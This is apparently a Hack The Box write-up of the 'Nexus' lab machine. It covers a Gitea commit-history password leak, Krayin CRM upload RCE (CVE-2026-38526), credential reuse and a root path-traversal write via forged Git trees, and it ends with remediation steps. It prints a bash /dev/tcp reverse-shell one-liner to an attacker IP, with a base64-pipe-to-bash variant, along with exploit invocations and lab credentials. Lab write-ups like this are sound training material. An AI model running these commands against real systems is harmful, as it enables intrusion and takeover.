HTB: Nexus

Nexus is an easy Linux machine featuring a Gitea instance that leaks a legacy password in its commit history, a Krayin CRM login vulnerable to authenticated RCE via TinyMCE uploads (CVE-2026-38526) for a foothold as www-data, reused .env credentials to pivot to jones, and a root-run Gitea template-sync script whose unsanitized os.path.join enables a Git path-traversal write to root's authorized_keys.

$ cat nexus.md | grep -E "time|words"17 min read · 3502 words

Nexus Avatar

TL;DR#

IPs#

Hack The Box uses dynamic IP addresses. I will use 10.129.94.8 for Nexus and 10.10.4.4 for my Kali throughout this writeup, please change them to your own IPs.

Kill Chain#

Gitea Git-History Leak ➜ Krayin CRM 2.2.0 Authenticated RCE: CVE-2026-38526 (TinyMCE upload) ➜ www-data ➜ Password Reuse (.env) ➜ jones ➜ Gitea Template-Sync os.path.join Path Traversal (CWE-22) ➜ root

Reconnaissance & Enumeration#

TCP Scan: nmap#

My nmap scan lists two open TCP ports, 22/ssh and 80/http running nginx 1.24.0, plus a handful of high filtered ports:

nmap — cheatsheet reference
  • -sC runs the default script scan, -sV detects service versions, -p- scans all 65535 ports, and --min-rate 10000 pushes packets fast.

Port 80/http refuses to serve on the bare IP and instead points at the vhost nexus.htb, so I map it in my /etc/hosts:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ echo "10.129.94.8 nexus.htb" | sudo tee -a /etc/hosts
10.129.94.8 nexus.htb

Website: nexus.htb#

Browsing http://nexus.htb lands on a corporate, government-backed energy provider landing page. There is nothing dynamic to attack on the front page, but the careers section hosts a job posting for Operations Specialist – Customer Platforms. The listing asks candidates to submit their documents to two addresses, leaking a real employee handle:

  • careers@nexus.htb
  • j.matthew@nexus.htb (the hiring manager)

That second address is my first candidate username.

Content Discovery: feroxbuster#

feroxbuster against the root vhost finds nothing beyond the index page, so the interesting surface must live elsewhere:

Subdomain Fuzzing: ffuf#

Since the front page is a dead end, I fuzz for virtual hosts with ffuf, matching every status code and auto-calibrating false positives:

ffuf — cheatsheet reference
seclists — cheatsheet reference
  • -H "Host: FUZZ.nexus.htb" fuzzes the Host header, -mc all matches every response code, and -ac auto-calibrates to drop the wildcard noise.

Two new vhosts: git.nexus.htb (a 200) and billing.nexus.htb (a 302 redirect). I add both to my /etc/hosts:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ echo "10.129.94.8 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
10.129.94.8 nexus.htb git.nexus.htb billing.nexus.htb

Gitea: git.nexus.htb#

http://git.nexus.htb hosts a self-hosted Gitea 1.26.0 instance with public, unauthenticated repository browsing. One of the exposed repositories is krayin-docker-setup, a deployment helper that committed its .env into version control.

The current .env is scrubbed, but Git never forgets. Walking the commit history I find an earlier commit (9b817fa) where a later “cleanup” commit tried to blank the database password — the value is still sitting in the diff:

diff
commit 9b817fa4e0 — "cleanup env before publishing"
--- a/.env
+++ b/.env
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=
  • Leaked password: N27xh!!2ucY04

Pairing that with the OSINT handle from the careers page gives me a full credential candidate: j.matthew@nexus.htb : N27xh!!2ucY04.

Initial Foothold#

Krayin CRM 2.2.0: billing.nexus.htb#

The billing vhost redirects into an instance of Krayin CRM, an open-source Laravel-based CRM. The login page and footer advertise version 2.2.0. The leaked pair authenticates cleanly into the admin dashboard:

  • Username: j.matthew@nexus.htb
  • Password: N27xh!!2ucY04

Authenticated RCE: CVE-2026-38526#

Krayin CRM 2.2.0 is vulnerable to CVE-2026-38526, an authenticated remote code execution via the TinyMCE media upload endpoint. The handler at /admin/tinymce/upload fails to validate the file extension or MIME type, so an authenticated user can drop a .php file straight into the web-served storage/.../tinymce/ directory and execute it by requesting its URL.

There is a public PoC by NathanHimself that automates login, upload and trigger. I clone it and read the usage:

rce — cheatsheet reference

First I confirm code execution with a simple id:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -c id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE as www-data, confirmed.

Reverse Shell: www-data#

A raw reverse-shell one-liner packed with >&, / and spaces gets mangled by the layers of shell quoting between my terminal, the PoC and PHP’s system(). The clean fix is to Base64-encode the payload so nothing but A–Z a–z 0–9 + / = ever crosses those boundaries, then decode-and-pipe on the target:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.4.4/443 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC40LjQvNDQzIDA+JjE=
reverse-shell — cheatsheet reference

I start a listener, wrapping nc in rlwrap so the caught shell has history and line editing:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
netcat — cheatsheet reference

Then I fire the encoded payload through the PoC’s -c command:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus/CVE-2026-38526-PoC]
└─$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -c "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC40LjQvNDQzIDA+JjE=' | base64 -d | bash"

The listener catches the callback as www-data:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.4.4] from (UNKNOWN) [10.129.94.8] 48446
bash: cannot set terminal process group (1436): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
netcat — cheatsheet reference

Shell Upgrade#

The nc catch is fragile, so I upgrade it to a real PTY — spawn one with Python, background with Ctrl-Z, fix my local terminal, foreground it, and set a sane TERM and window size so su, sudo and full-screen tools behave:

bash
www-data@nexus:~/krayin/storage/app/public/tinymce$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@nexus:~/krayin/storage/app/public/tinymce$ ^Z
zsh: suspended  rlwrap -cAr nc -nlvp 443

┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ stty raw -echo; fg
[1]  + continued  rlwrap -cAr nc -nlvp 443

www-data@nexus:~/krayin/storage/app/public/tinymce$ export TERM=xterm-256color; stty rows 50 cols 200
netcat — cheatsheet reference
pty-upgrade — cheatsheet reference

Lateral Movement#

Credential Harvesting: .env#

The shell drops me right inside the Krayin webroot at ~/krayin (/var/www/krayin). Laravel keeps its live secrets in .env, so I read it in full:

  • Database password: y27xb3ha!!74GbR

Password Reuse: jones#

Checking /home, there is exactly one interactive local user besides git:

bash
www-data@nexus:~/krayin$ ls -al /home
total 16
drwxr-xr-x  4 root  root  4096 May 12 12:06 .
drwxr-xr-x 23 root  root  4096 May 12 12:06 ..
drwxr-x---  2 git   git   4096 May 12 12:27 git
drwxr-x---  3 jones jones 4096 May 12 12:26 jones

The database password is reused as jones’s login password — classic credential reuse — so I su straight across:

bash
www-data@nexus:~/krayin$ su - jones
Password: y27xb3ha!!74GbR
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

The same credentials also work over SSH, which gives me a stabler session to work from:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/nexus]
└─$ ssh jones@nexus.htb
jones@nexus.htb's password: y27xb3ha!!74GbR
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

User Flag#

I grab the user flag from jones’s home:

bash
jones@nexus:~$ cat user.txt
155922f5e31f2cc7649cf17e80366e75

Privilege Escalation#

Local Enumeration#

jones has no sudo rights (sudo -l refuses), so I look at what is listening locally. netstat shows a service bound to 127.0.0.1:3000 — the internal Gitea backend that git.nexus.htb proxies:

bash
jones@nexus:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   

Enumerating Gitea’s supporting files, I find a custom administrative script that is world-readable, and the systemd units that drive it:

bash
jones@nexus:~$ cat /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
jones@nexus:~$ systemctl list-timers
NEXT                         LEFT     UNIT                        ACTIVATES
Sat 2026-08-22 20:16:00 UTC  47s      gitea-template-sync.timer   gitea-template-sync.service

So root runs /etc/gitea/template-sync.py on a timer that fires roughly every minute. I read the whole script:

The Vulnerability: os.path.join Path Traversal (CWE-22)#

The script asks the Gitea API for every repository flagged as a Template, lists its tree with git ls-tree -r HEAD, and writes each blob to disk with:

python
target = os.path.join(stage_path, filepath)

filepath comes straight out of git ls-tree with no sanitization, and Python’s os.path.join has a dangerous quirk — the moment any component is an absolute-looking or traversal path, it discards everything before it. A tree entry named ../../../../../root/.ssh/authorized_keys therefore escapes stage_path entirely, and because the interpreter runs as root it will happily write and chmod that file. The staging path is /home/git/template-staging/<owner>/<repo>/, so five ../ hops land me squarely in /root/.

Forging Raw Git Objects#

The catch is getting a ../ path into the tree in the first place. The Git CLI runs verify_path() on every entry and rejects traversal outright:

bash
jones@nexus:~/shadowcat$ tree_hash=$(printf "100644 blob $git_hash\t/root/.ssh/authorized_keys\n" | git mktree)
fatal: path /root/.ssh/authorized_keys contains slash

So I bypass the porcelain entirely and write the object database by hand. First I generate a keypair for jones — its public half is what I want planted in root’s authorized_keys:

bash
jones@nexus:~$ ssh-keygen -t rsa -N ""
Generating public/private rsa key pair.
Enter file in which to save the key (/home/jones/.ssh/id_rsa): 
Created directory '/home/jones/.ssh'.
Your identification has been saved in /home/jones/.ssh/id_rsa
Your public key has been saved in /home/jones/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:yMamKMsrgu7ORk0LSYy8EqELlsqEwtzzwdbj2eQlrzo jones@nexus

Then I write a small forge script, shadowcat.py. It computes each Git object’s SHA-1, zlib-compresses it and drops it directly into .git/objects/, building the malicious tree from the bottom up (authorized_keys → .ssh → root → four chained .. trees) so the final path resolves to ../../../../../root/.ssh/authorized_keys — never touching git mktree or its filters:

Triggering the Sync: root#

Over in the Gitea web UI I log in as jones (the reused password works there too), create a new empty repository named shadowcat, and flip it to a Template in the repo settings so the root sync service will select it. Then I initialise a local repo, run the forge script, and force-push the malformed tree straight at the internal Gitea backend on the loopback:

The warning: unable to access '../../../../../root/...' lines are Git itself trying to walk the traversal path — proof the malformed tree survived the push. On the next timer tick the root sync service reads my template, resolves the traversal, and writes my public key into /root/.ssh/authorized_keys. I confirm it by logging in over the loopback with the matching private key:

bash
jones@nexus:~/shadowcat$ ssh -i ~/.ssh/id_rsa root@127.0.0.1
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
root@nexus:~# id
uid=0(root) gid=0(root) groups=0(root)

Root Flag#

Nexus is pwned, and I capture the root flag:

bash
root@nexus:~# cat root.txt
f99fcc20265ab5881daba5595876eaab

Pwned#

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on Nexus:

Vulnerabilities Summary#

vulnerabilities
VulnerabilityCVE / CWESeverityRoot CauseReal-World Impact
Secrets in Git HistoryCWE-538HighA committed .env was “cleaned” in a later commit, but the legacy DB_PASSWORD stays readable in the public Gitea commit diff.An unauthenticated visitor recovers a valid password by walking commit history.
Krayin CRM Authenticated RCECVE-2026-38526CriticalThe /admin/tinymce/upload endpoint does not validate file extension or MIME type, allowing a .php upload into a web-served directory.Any authenticated CRM user runs arbitrary code as www-data.
Password ReuseCWE-521HighThe Krayin database password in .env is reused for the local jones account and the Gitea login.Horizontal movement from www-data to user jones and into Gitea.
Unsanitized os.path.join Path TraversalCWE-22CriticalThe root template-sync script joins unsanitized git ls-tree paths with os.path.join, which discards the staging prefix on a ../ component.A crafted repository writes attacker-controlled files anywhere as root, yielding full compromise.

Remediation#

If I were the owner of Nexus, these are the quick steps I would take to break the whole Kill Chain:

Purge Secrets from Git History (CWE-538)#

Rotating the leaked password is not enough. The secret lives in every clone. Rewrite history to remove it, force-push, and rotate the credential everywhere it was used:

bash
git filter-repo --path .env --invert-paths
# rotate the DB password afterwards, it must be considered burned

Patch Krayin CRM (CVE-2026-38526)#

Upgrade Krayin CRM past 2.2.0 to a release that enforces strict extension and MIME allowlisting on the TinyMCE upload handler, so .php files can never be stored in a web-served path:

bash
composer update krayin/laravel-crm

Stop Reusing Credentials (CWE-521)#

Give the database, the jones shell account and the Gitea user distinct, strong secrets, and prefer a secrets manager over a plaintext .env:

bash
sudo passwd jones

Sanitize the Template-Sync Paths (CWE-22)#

The root cause is trusting git ls-tree output as a safe path. Normalize each entry and refuse anything that escapes the staging directory before writing:

python
target = os.path.realpath(os.path.join(stage_path, filepath))
if not target.startswith(os.path.realpath(stage_path) + os.sep):
    log("  refusing traversal path: %s" % filepath)
    continue

Running the sync service as an unprivileged, sandboxed user (not root) would also contain the damage even if a traversal slipped through.

KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys